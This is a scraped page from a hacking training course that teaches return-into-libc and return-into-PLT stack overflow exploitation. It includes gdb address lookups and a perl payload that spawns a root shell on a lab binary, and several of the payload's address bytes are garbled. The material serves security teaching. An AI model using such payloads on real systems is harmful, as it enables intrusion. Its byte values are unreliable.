27.06.2013 Views

Hack Security Pro.pdf - Index of

Hack Security Pro.pdf - Index of

Hack Security Pro.pdf - Index of

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

The we can look in libc6 for the addresses <strong>of</strong> the two functions that are <strong>of</strong> interest to us:<br />

(gdb) x system<br />

0x40062980 : 0x83e58955<br />

(gdb) x exit<br />

0x4004da30 : 0x57e58955<br />

We must still determine the address <strong>of</strong> a /bin/sh in memory:<br />

$./srch<br />

"/bin/sh" found at: 0x4014273d<br />

All we have to do now is to overwrite EIP with the addresses found:<br />

0x40062980 <br />

0x4004da30 <br />

Do not forget that in little endian, we fill the stack, and therefore the addresses as well, from the bottom<br />

up:<br />

$./vuln1 `perl -e 'print "A" x 524 . "\x80\x29\x06\x40" . "\x30\x04\xda\x30" . "\x3dd\x27\x14\x40"'`<br />

sh-2.05b#<br />

H) Return into .PLT<br />

PaX and the randomization <strong>of</strong> memory<br />

A second protection has been put into place in order to prevent the problem <strong>of</strong> bypassing through<br />

return into glibc. The idea is to randomize the basic address or libc and to map the other lib into<br />

memory. As the functions are always defined in relative value, that is related to an <strong>of</strong>fset, that we will<br />

add to the basic libc address. We can no longer determine the address <strong>of</strong> the library which will be<br />

randomized each time, so we can longer determine the addresses <strong>of</strong> the functions we are interested<br />

in. So we will use a Return into PLT type exploitation to bypass this protection.<br />

Exploitation<br />

The PLT Section: Each function that has previously been called in the program will be referenced in<br />

this section. Each entry will make it possible, among other things, to jump onto the .got address<br />

containing the absolute address <strong>of</strong> the called function.<br />

If a function we are interested in has been previously called in the program, it will be referenced in the<br />

PLT. As this section is never randomized in memory, we can simply determine the function's entry in<br />

the .PLT in order to jump onto this address, which will make us jump on to its address in libc6.<br />

The <strong>Hack</strong>ademy DMP -149/209- SYSDREAM

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!